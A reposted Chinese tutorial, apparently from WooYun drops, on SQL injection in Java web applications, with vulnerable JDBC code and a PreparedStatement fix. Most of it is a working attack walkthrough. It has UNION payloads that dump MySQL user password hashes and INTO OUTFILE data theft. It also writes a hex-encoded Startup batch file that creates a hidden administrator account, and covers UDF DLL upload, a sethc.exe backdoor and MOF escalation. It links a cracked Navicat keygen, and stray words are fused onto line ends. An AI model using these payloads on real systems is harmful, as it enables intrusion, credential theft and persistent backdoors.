轉:攻擊JavaWeb應用[3]-SQL注入

轉:http://static.hx99.net/static/drops/tips-236.htmlphp

攻擊JavaWeb應用[3]-SQL注入

 

注:本節重點在於讓你們熟悉各類SQL注入在JAVA當中的表現,本想帶點ORM框架實例,可是與其幾乎無心,最近在學習MongoDb,挺有意思的,後面有機會給你們補充相關。

0x00 JDBC和ORM


JDBC:

JDBC(Java Data Base Connectivity,java數據庫鏈接)是一種用於執行SQL語句的Java API,能夠爲多種關係數據庫提供統一訪問。html

JPA:

JPA全稱Java Persistence API.JPA經過JDK 5.0註解或XML描述對象-關係表的映射關係,並將運行期的實體對象持久化到數據庫中。是一個ORM規範。Hibernate是JPA的具體實現。可是Hibernate出現的時間早於JPA(由於Hibernate做者很狂,sun看不慣就叫他去制定JPA標準去了哈哈)。java

ORM:

對象關係映射(ORM)目前有Hibernate、OpenJPA、TopLink、EclipseJPA等實現。mysql

JDO:

JDO(Java Data Object )是Java對象持久化的新的規範,也是一個用於存取某種數據倉庫中的對象的標準化API。沒有據說過JDO沒有關係,不少人應該知道PDO,ADO吧?概念同樣。程序員

關係:

JPA能夠依靠JDBC對JDO進行對象持久化,而ORM只是JPA當中的一個規範,咱們常見的Hibernate、Mybatis和TopLink什麼的都是ORM的具體實現。web

概念性的東西知道就好了,能記住最好。不少東西可能真的是會用,可是要是讓你去定義或者去解釋的時候發現會有些困難。sql

重點了解JDBC是個什麼東西,知道Hibernate和Mybatis是ORM的具體的實現就夠了。數據庫

Object:

在Java當中Object類(java.lang.object)是全部Java類的祖先。每一個類都使用 Object 做爲超類。全部對象(包括數組)都實現這個類的方法。因此在認識Java以前應該有一個對象的概念。apache

關係型數據庫和非關係型數據庫:

數據庫是按照數據結構來組織、存儲和管理數據的倉庫。windows

關係型數據庫,是創建在關係模型基礎上的數據庫。關係模型就是指二維表格模型,於是一個關係型數據庫就是由二維表及其之間的聯繫組成的一個數據組織。當前主流的關係型數據庫有Oracle、DB二、Microsoft SQL Server、Microsoft Access、MySQL等。

NoSQL,指的是非關係型的數據庫。隨着互聯網web2.0網站的興起,傳統的關係數據庫在應付web2.0網站,特別是超大規模和高併發的SNS類型的web2.0純動態網站已經顯得力不從心,暴露了不少難以克服的問題,而非關係型的數據庫則因爲其自己的特色獲得了很是迅速的發展。

一、High performance - 對數據庫高併發讀寫的需求。
二、Huge Storage - 對海量數據的高效率存儲和訪問的需求。
三、High Scalability && High Availability- 對數據庫的高可擴展性和高可用性的需求。

常見的非關係型數據庫:Membase、MongoDB、Hypertable、Apache Cassandra、CouchDB等。

常見的NoSQL數據庫端口:

MongoDB:2701七、2801七、27080
CouchDB:5984
Hbase:9000
Cassandra:9160
Neo4j:7474
Riak:8098

在引入這麼多的概念以後咱們今天的故事也就要開始了,概念性的東西后面慢慢來。引入這些東西不僅僅僅是爲了講一個SQL注入,後面不少地方可能都會用到。

傳統的JDBC大於要通過這麼些步驟完成一次查詢操做,java和數據庫的交互操做:

準備JDBC驅動
加載驅動
獲取鏈接
預編譯SQL
執行SQL
處理結果集
依次釋放鏈接

sun只是在JDBC當中定義了具體的接口,而JDBC接口的具體的實現是由數據庫提供廠商去寫具體的實現的, 好比說Connection對象,不一樣的數據庫的實現方式是不一樣的。

使用傳統的JDBC的項目已經愈來愈少了,曾經的model1和model2已經被MVC給代替了。若是用傳統的JDBC寫項目你不得不去管理你的數據鏈接、事物等。而用ORM框架通常程序員只用關心執行SQL和處理結果集就好了。好比Spring的JdbcTemplate、Hibernate的HibernateTemplate提供了一套對dao操做的模版,對JDBC進行了輕量級封裝。開發人員只需配置好數據源和事物通常僅須要提供一個SQL、處理SQL執行後的結果就好了,其餘的事情都交給框架去完成了。

enter image description here

0x01 經典的JDBC的Sql注入


Sql注入產生的直接緣由是拼湊SQL,絕大多數程序員在作開發的時候並不會去關注SQL最終是怎麼去運行的,更不會去關注SQL執行的安全性。由於時間緊,任務重完成業務需求就好了,誰還有時間去管你什麼SQL注入什麼?還不如喝喝茶,看看妹子。正是有了這種懶惰的程序員SQL注入一直沒有消失,而這當中不乏一些大型廠商。有的人可能心中有防護Sql注入意識,可是在面對複雜業務的時候可能仍是存在僥倖心理,最近仍是被神奇路人甲給脫褲了。爲了處理未知的SQL注入攻擊,一些大廠商開始採用SQL防注入甚至是使用某些廠商的WAF。

JDBCSqlInjectionTest.java類:

package org.javaweb.test;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

public class JDBCSqlInjectionTest {

    /**
     * sql注入測試
     * @param id
     */
    public static void sqlInjectionTest(String id){

        String MYSQLDRIVER = "com.mysql.jdbc.Driver";//MYSQL驅動
        //Mysql鏈接字符串
        String MYSQLURL = "jdbc:mysql://localhost:3306/wooyun?user=root&password=caonimei&useUnicode=true&characterEncoding=utf8&autoReconnect=true";
        String sql = "SELECT * from corps where id = "+id;//查詢語句
        try {
            Class.forName(MYSQLDRIVER);//加載MYSQL驅動
            Connection conn = DriverManager.getConnection(MYSQLURL);//獲取數據庫鏈接
            PreparedStatement pstt = conn.prepareStatement(sql);
            ResultSet rs = pstt.executeQuery();
            System.out.println("SQL:"+sql);//打印SQL
            while(rs.next()){//結果遍歷
                System.out.println("ID:"+rs.getObject("id"));//ID
                System.out.println("廠商:"+rs.getObject("corps_name"));//輸出廠商名稱
                System.out.println("主站"+rs.getObject("corps_url"));//廠商URL
            }
            rs.close();//關閉查詢結果集
            pstt.close();//關閉PreparedStatement
            conn.close();//關閉數據鏈接
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        sqlInjectionTest("2 and 1=2 union select version(),user(),database(),5 ");//查詢id爲2的廠商
    }
}

如今有如下Mysql數據庫結構(後面用到的數據庫結構都是同樣): 

enter image description here

看下圖代碼是一個取數據和顯示數據的過程。

第20行就是典型的拼SQL致使SQL注入,如今咱們的注入將圍繞着20行展開: 

enter image description here

當傳入正常的參數」2」時輸出的結果正常:

enter image description here

當參數爲2 and 1=1去查詢時,因爲1=1爲true因此可以正常的返回查詢結果:

enter image description here

當傳入參數2 and 1=2時查詢結果是不存在的,因此沒有顯示任何結果。

Tips:在某些場景下可能須要在參數末尾加註釋符--,使用「--」的做用在於註釋掉從當前代碼末尾到SQL末尾的語句。

--在oracle和mssql均可用,mysql能夠用# /**

enter image description here

執行order by 4正常顯示數據order by 5錯誤說明查詢的字段數是4。 

enter image description here

Order by 5執行後直接爆了一個SQL異常: 

enter image description here

用聯合查詢執行:2 and 1=2 union select version(),user(),database(),5 

enter image description here

小結論:

經過控制檯執行SQL注入可知SQL注入跟平臺無關、跟開發語言關係也不大,而是跟數據庫有關。 知道了拼SQL確定是會形成SQL注入的,那麼咱們應該怎樣去修復上面的代碼去防止SQL注入呢?其實只要把參數通過預編譯就可以有效的防止SQL注入了,咱們已經依舊提交SQL注入語句會發現以前可以成功注入出數據庫版本、用戶名、數據庫名的語句如今沒法帶入數據庫查詢了:

enter image description here

0x02 PreparedStatement實現防注入


SQL語句被預編譯並存儲在PreparedStatement對象中。而後可使用此對象屢次高效地執行該語句。

Class.forName(MYSQLDRIVER);//加載MYSQL驅動 
Connection conn = DriverManager.getConnection(MYSQLURL);//獲取數據庫鏈接 
String sql = "SELECT * from corps where id = ? ";//查詢語句 
PreparedStatement pstt = conn.prepareStatement(sql);//獲取預編譯的PreparedStatement對象 
pstt.setObject(1, id);//使用預編譯SQL 
ResultSet rs = pstt.executeQuery();

enter image description here

從Class.forName反射去加載MYSQL啓動開始,到經過DriverManager去獲取一個本地的鏈接數據庫的對象。而拿到一個數據鏈接之後即是咱們執行SQL與事物處理的過程。當咱們去調用PreparedStatement的方法如:executeQuery或executeUpdate等都會經過mysql的JDBC實現對Mysql數據庫作對應的操做。Java裏面鏈接數據庫的方式通常來講都是固定的格式,不一樣的只是實現方式。因此只要咱們的項目中有加載對應數據庫的jar包咱們就能作相應的數據庫鏈接。而在一個Web項目中若是/WEB-INF/lib下和對應容器的lib下只有mysql的數據庫鏈接驅動包,那麼就只能鏈接MYSQL了,這一點跟其餘語言有點不同,不過應該容易理解和接受,假如php.ini不開啓對mysql、mssql、oracle等數據庫的支持效果都同樣。修復以前的SQL注入的方式顯而易見了,用「?」號去佔位,預編譯SQL的時候會自動根據pstt裏的參數去處理,從而避免SQL注入。

String sql = "SELECT * from corps where id = ? "; 
pstt = conn.prepareStatement(sql);//獲取預編譯的PreparedStatement對象 
pstt.setObject(1, id);//使用預編譯SQL 
ResultSet rs = pstt.executeQuery(); 

在經過conn.prepareStatement去獲取一個PreparedStatement便會以預編譯去處理查詢SQL,而使用conn.createStatement獲得的只是一個普通的Statement不會去預編譯SQL語句,但Statement執行效率和速度都比prepareStatement要快前者是後者的父類。

從類加載到鏈接的關閉數據庫廠商根據本身的數據庫的特性實現了JDBC的接口。類加載完成以後纔可以繼續調用其餘的方法去獲取一個鏈接對象,而後才能過去執行SQL命令、返回查詢結果集(ResultSet)。

Mysql的Driver:

public class Driver extends NonRegisteringDriver implements java.sql.Driver{}

在加載驅動處下斷點(22行),能夠跟蹤到mysql的驅動鏈接數據庫到獲取鏈接的整個過程。

enter image description here

enter image description here

enter image description here

F5進入到Driver類: 

enter image description here

驅動加載完成後咱們會獲得一個具體的鏈接的對象Connection,而這個Connection包含了大量的信息,咱們的一切對數據庫的操做都是依賴於這個Connection的:

enter image description here

conn.prepareStatement(sql);

在獲取PreparedStatement對象的時進入會進入到Connection類的具體的實現類ConnectionImpl類。

而後調用其prepareStatement方法。 

而nativeSQL方法調用了EscapeProcessor類的靜態方法escapeSQL進行轉意,返回的天然是轉意後的SQL。

預編譯默認是在客戶端的用com.mysql.jdbc.PreparedStatement本地SQL拼完SQL,最終mysql數據庫收到的SQL是已經替換了「?」後的SQL,執行並返回咱們查詢的結果集。 從上而下大概明白了預編譯作了個什麼事情,並非用了PreparedStatement這個對象就不存在SQL注入而是跟你在預編譯前有沒有拼湊SQL語句,

String sql = 「select * from xxx where id = 」+id//這種必死無疑。

Web中繞過SQL防注入:

Java中的JSP裏邊有個特性直接request.getParameter("Parameter");去獲取請求的數據是不分GET和POST的,而看過我第一期的同窗應該還記得咱們的Servlet通常都是二者合一的方式去處理的,而在SpringMVC裏面若是不指定傳入參數的方式默認是get和post均可以接受到。

SpringMvc如:

@RequestMapping(value="/index.aspx",method=RequestMethod.GET)
public String index(HttpServletRequest request,HttpServletResponse response){
    System.out.println("------------");
    return "index";
}

上面默認只接收GET請求,而大多數時候是不多有人去制定請求的方式的。說這麼多其實就是爲了告訴你們咱們能夠經過POST方式去繞過普通的SQL防注入檢測!

Web當中最容易出現SQL注入的地方:

常見的文章顯示、分類展現。
用戶註冊、用戶登陸處。
關鍵字搜索、文件下載處。
數據統計處(訂單查詢、上傳下載統計等)經典的如select下拉框注入。
邏輯略複雜處(密碼找回以及跟安全相關的)。

關於注入頁面報錯:

若是發現頁面拋出異常,那麼得從兩個方面去看問題,傳統的SQL注入在頁面報錯之後確定無法直接從頁面獲取到數據信息。若是報錯後SQL沒有往下執行那麼無論你提交什麼SQL注入語句都是無效的,若是隻是普通的錯誤能夠根據錯誤信息進行參數修改之類繼續SQL注入。 假設咱們的id改成int類型:

int id = Integer.parseInt(request.getParameter("id")); 

enter image description here

程序在接受參數後把一個字符串轉換成int(整型)的時候發生異常,那麼後面的代碼是不會接着執行的哦,因此SQL注入也會失敗。

Spring中如何安全的拼SQL(JDBC同理):

對於常見的SQL注入採用預編譯就好了,可是不少時候條件較多或較爲複雜的時候不少人都想偷懶拼SQL。 


寫了個這樣的多條件查詢條件自動匹配:

    public static String SQL_FORUM_CLASS_SETTING = "SELECT * from bjcyw_forum_forum where 1=1 ";

    public List<Map<String, Object>> getForumClass(Map<String,Object> forum) {
    StringBuilder sql=new StringBuilder(SQL_FORUM_CLASS_SETTING);
    List<Object> ls=new ArrayList<Object>();
    if (forum.size()>0) {
        for (String key : forum.keySet()) {
            Object obj[]=(Object [])forum.get(key);
            sql = SqlHelper.selectHelper(sql, obj);
            if ("like".equalsIgnoreCase(obj[2].toString().trim())) {
                ls.add("%"+obj[1]+"%");
            }else{
                ls.add(obj[1]);
            }
        }
    }
    return jdbcTemplate.queryForList(sql.toString(),(Object[])ls.toArray());
}

selectHelper方法:

public static StringBuilder selectHelper(StringBuilder sql, Object obj[]){
    if (Constants.SQL_HELPER_LIKE.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" like ?");
    }else if (Constants.SQL_HELPER_EQUAL.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" = ?");
    }else if (Constants.SQL_HELPER_GREATERTHAN.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" > ?");
    }else if (Constants.SQL_HELPER_LESSTHAN.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" < ?");
    }else if (Constants.SQL_HELPER_NOTEQUAL.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" != ?");
    }
    return sql;
}

信任客戶端的參數一切參數只匹配查詢條件,把參數和條件自動裝配到框架。

若是客戶端提交了危險的SQL也沒有關係在query的時候是會預編譯。

不貼了原文在:http://zone.wooyun.org/content/2448

0x03 轉戰Web平臺


看完了SQL注入在控制檯下的表現,若是對上面還不甚清楚的同窗繼續看下面的Web注入。

首先咱們瞭解下Web當中的SQL注入產生的緣由: 

enter image description here

Mysql篇: 數據庫結構上面已經聲明,如今有如下Jsp頁面,邏輯跟上面注入一致: 

enter image description here

瀏覽器訪問:http://localhost/SqlInjection/index.jsp?id=1

enter image description here

上面咱們已經知道了查詢的字段數是4,如今構建聯合查詢,其中的1,2,3只是咱們用來佔位查看字段在頁面對應的具體的輸出。在HackBar執行咱們的SQL注入,查看效果和執行狀況: 

enter image description here

Mysql查詢和注入技巧:

只要是從事滲透測試工做的同窗或者對Web比較喜好的同窗強薦你們學習下SQL語句和Web開發基礎,SQL管理客戶端有一個神器叫Navicat。支持MySQL, SQL Server, SQLite, Oracle 和 PostgreSQL databases。官方下載地址:http://www.navicat.com/download不過須要註冊,註冊機:http://pan.baidu.com/share/link?shareid=271653&uk=1076602916 其次是下載吧有全套的下載。

enter image description here

彷佛不少人都知道Mysql有個數據庫叫information_schema裏面存儲了不少跟Mysql有關的信息,可是不知道里面具體都有些什麼,有時間你們能夠抽空看下。Mysql的sechema都存在於此,包含了字段、表、元數據等各類信息。也就是對於Mysql來講建立一張表後對應的表信息會存儲到information_schema裏面,並且能夠用SQL語句查詢。

使用Navicat構建SQL查詢語句:

enter image description here

當咱們在SQL注入當中找到用戶或管理員所在的表是很是重要的,而當咱們想要快速找到跟用戶相關的數據庫表時候在Mysql裏面就能夠合理的使用information_schema去查詢。構建SQL查詢獲取全部當前數據庫當中數據庫表名裏面帶有user關鍵字的演示: 

enter image description here

查詢包含user關鍵字的表名的結果: 

enter image description here

假設已知某個網站用戶數據很是大,咱們能夠經過上面構建的SQL去找到對應可能存在用戶數據信息的表。

查詢Mysql全部數據庫中全部表名帶有user關鍵字的表,而且按照表的行數降序排列:

SELECT
i.TABLE_NAME,i.TABLE_ROWS
FROM information_schema.`TABLES` AS i
WHERE i.TABLE_NAME
LIKE '%user%'
ORDER BY i.TABLE_ROWS
DESC

查只在當前數據庫查詢:

SELECT
i.TABLE_NAME,i.TABLE_ROWS
FROM information_schema.`TABLES` AS i
WHERE i.TABLE_NAME
LIKE '%user%'
AND i.TABLE_SCHEMA = database()
ORDER BY i.TABLE_ROWS
DESC

查詢指定數據庫: 

enter image description here

查詢字段當中帶有user關鍵字的全部的表名和數據庫名:

SELECT
i.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAME
FROM information_schema.`COLUMNS` AS i
WHERE i.COLUMN_NAME LIKE '%user%' 

enter image description here

CONCAT:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1

enter image description here

GROUP_CONCAT

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1

enter image description here

注入點友情備份:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt'

注入在windows下默認是E:\若是用「\」去表示路徑的話須要轉換成E:\\而更方便的方式是直接用/去表示即E:/。 當咱們知道WEB路徑的狀況下而又有outfile權限直接導出數據庫中的用戶信息。

enter image description here

而若是是在一些極端的狀況下沒法直接outfile咱們能夠合理的利用concat和GROUP_CONCAT去把數據顯示到頁面,若是數據量特別大,咱們能夠用concat加上limit去控制顯示的數量。好比每次從頁面獲取幾百條數據?寫一個工具去請求構建好的SQL注入點而後把頁面的數據取下來,那麼數據庫的表信息也能夠直接從注入點所有取出來。

注入點root權限提權:

一、寫啓動項:

這個算是很是簡單的了,直接寫到windows的啓動目錄就好了,我測試的系統是windows7直接寫到:C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup目錄就好了。用HackBar去請求一下連接就能過把bat寫入到咱們的windows的啓動菜單了,不過得注意的是360那個狗兔崽子:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile 'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat'

enter image description here

二、失敗的注入點UDF提權嘗試:

MYSQL提權的方式挺多的,並不侷限於udf、mof、寫windows啓動目錄、SQL語句替換sethc實現後門等,這裏以udf爲例,其實udf挺麻煩的,若是麻煩的東東你都能搞定,簡單的天然就能過搞定了。 在進行mysql的udf提權的時候須要注意的是mysql的版本,mysql5.1如下導入到windows目錄就好了,而mysql<=5.1須要導入到插件目錄。我測試的是Mysql 5.5.27咱們的首要任務就是找到mysql插件路徑。

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,@@plugin_dir

獲取插件目錄方式:

select @@plugin_dir
select @@basedir

show variables like ‘%plugins%’

enter image description here

經過MYSQL預留的變量很輕易的就找到了mysql所在目錄,那咱們須要把udf導出的絕對路徑就應該是:D:/install/dev/mysql5.5/lib/plugin/udf.dll。如今咱們要作的就是怎樣經過SQL注入去把這udf導出到上述目錄了。 我先說下我是怎麼從錯誤的方法到正確導入的一個過程吧。首先我執行了這麼一個SQL:

SELECT * from corps where id = 1 and 1=2 union select '','','',(CONVERT(0xudf的十六進制 ,CHAR)) INTO DUMPFILE 'D:/install/dev/mysql5.5/lib/plugin/udf.dll'

由於在命令行或執行單條語句的時候轉換成char去dumpfile的時候是能夠成功導出二進制文件的。 咱們用瀏覽器瀏覽網頁的時候都是以GET方式去提交的,而若是我用GET請求去傳這個十六進制的udf的話顯然會超過GET請求的限制,因而我簡單的構建了一個POST請求去把一個110K的0x傳到後端。

enter image description here

用hackbar去發送一個post請求發現失敗了,必定是我打開方式不對,呵呵。隨手寫了個表單提交下: 下載地址: http://pan.baidu.com/share/link?shareid=1711769621&uk=1076602916

enter image description here

提交表單之後發現文件是寫進去了,可是爲何就只有84字節捏? 

enter image description here

難道是數據傳輸的時候被截斷了?不至於吧,因而用navicat執行上面的語句: 

enter image description here

我彷佛傻逼了,由於查詢結果仍是隻有84字節,結果顯然不是我想要的。84字節,不帶這麼坑的。一計不成又生二計。 不讓我直接dumpfile那我間接的去寫總行吧? 

enter image description here

1 and 1=2 union select '','','',0xUDF轉換後的16進制 INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'發現格式不對,給hex加上單引號以字符串方式寫入試下: 1 and 1=2 union select '','','',’0xUDF轉換後的16進制’ INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'

enter image description here

此次寫入的起碼是hex了吧,再load_file到查詢裏面不就好了嗎?咱們知道load_file獲得的確定是一個blob吧。 

enter image description here

那麼在注入點這麼去構建一下不就好了: 

enter image description here

其實這都已經2到家了,這跟第一次提交的數據根本就沒有兩樣。Load file在這裏依舊被轉換成了0x,我想這不行的話那麼應該就只能在blob字段去load_file才能成功吧,由於如今load到了一個字段類型是text的位置裏面。估計是被當字符串處理了,可是很顯然是無法去找個blob的字段的,(用上面去information_schema去找應該能找到)。也就是說如今須要的是一個blob去臨時的存儲一下。又由於咱們知道MYSQL是不支持多行查詢的,因此咱們根本就沒有辦法去建表(想過copy查詢建表,可是顯然是行不通的)。 這不科學,必定是打開方式不對。CAST 和CONVERT 轉換成CHAR都不行。能轉換成blob之類的嗎?CONVERT(0xsbsbsb,BLOB)發現失敗了,把BLOB換成 BINARY發現成功執行了。 因而用構建的表單再次執行下面的語句: SELECT * from corps where id = 1 and 1=2 union select '','','', CONVERT(0x不解釋,BINARY) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll'

enter image description here

此次執行成功了,哦多麼痛的領悟……一開始把CHAR寫成BINARY不就搞定了,二的太明顯了。其實上面的二根本就不是事兒,更二的是當我要執行的時候恍然發現根本就沒有辦法去建立function啊! O shit shift~ Mysql Driver在pstt.executeQuery()是不支持多行查詢的,一個select 在怎麼也不能跟create同時執行。爲了避免影響你們心情仍是繼續寫下去吧,命令行創建一個function,而後在注入點注入(若是有前人已經建立udf的狀況下能夠直接利用): 

enter image description here

由於沒有辦法去建立一個function因此用注入點實現udf提權在上一步就死了,經過在命令行執行建立function只能算是心靈安慰了,只要完成了create function那一步咱們就真的成功了,由於調用自定義function很是簡單:

enter image description here

MOF和sethc提權:

MOF和sethc提權我就不詳講了,由於看了上面的udf提權你已經具有本身導入任意文件到任意目錄了,而MOF實際上就是寫一個文件到指定目錄,而sethc提權我只成功模糊的過一次。在命令行下利用SQL大概是這樣的:

create table mix_cmd( shift longblob);
insert into mix_cmd values(load_file(‘c:\windows\system32\cmd.exe’));
    
select * from mix_cmd into dumpfile ‘c:\windows\system32\sethc.exe’;
    
drop table if exists mix_cmd;

如今的管理員不少都會自做聰明的去把net.exe、net1.exe 、cmd.exe、sethc.exe刪除防止入侵。當sethc不存在時咱們能夠用這個方法去試下,怎麼肯定是否存在?load_file下看人品了,若是cmd和sethc都不存在那麼按照上面的udf提權三部曲上傳一個cmd.exe到任意目錄。

SELECT LOAD_FILE('c:/windows/system32/cmd.exe') INTO DUMPFILE'c:/windows/system32/sethc.exe'

MOF大約是這樣:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select char(ascii轉換後的代碼),'','','' into dumpfile 'c:/windows/system32/wbem/mof/nullevts.mof'

Mysql小結:

我想講的應該是一種方法而不是SQL怎麼去寫,學會了方法天然就會本身去拓展,固然了最好不要向上面udf那麼二。有了上面的demo相信你們都會知道怎麼去修改知足本身的需求了。學的不僅是方法而是思路切記!

相關文章
相關標籤/搜索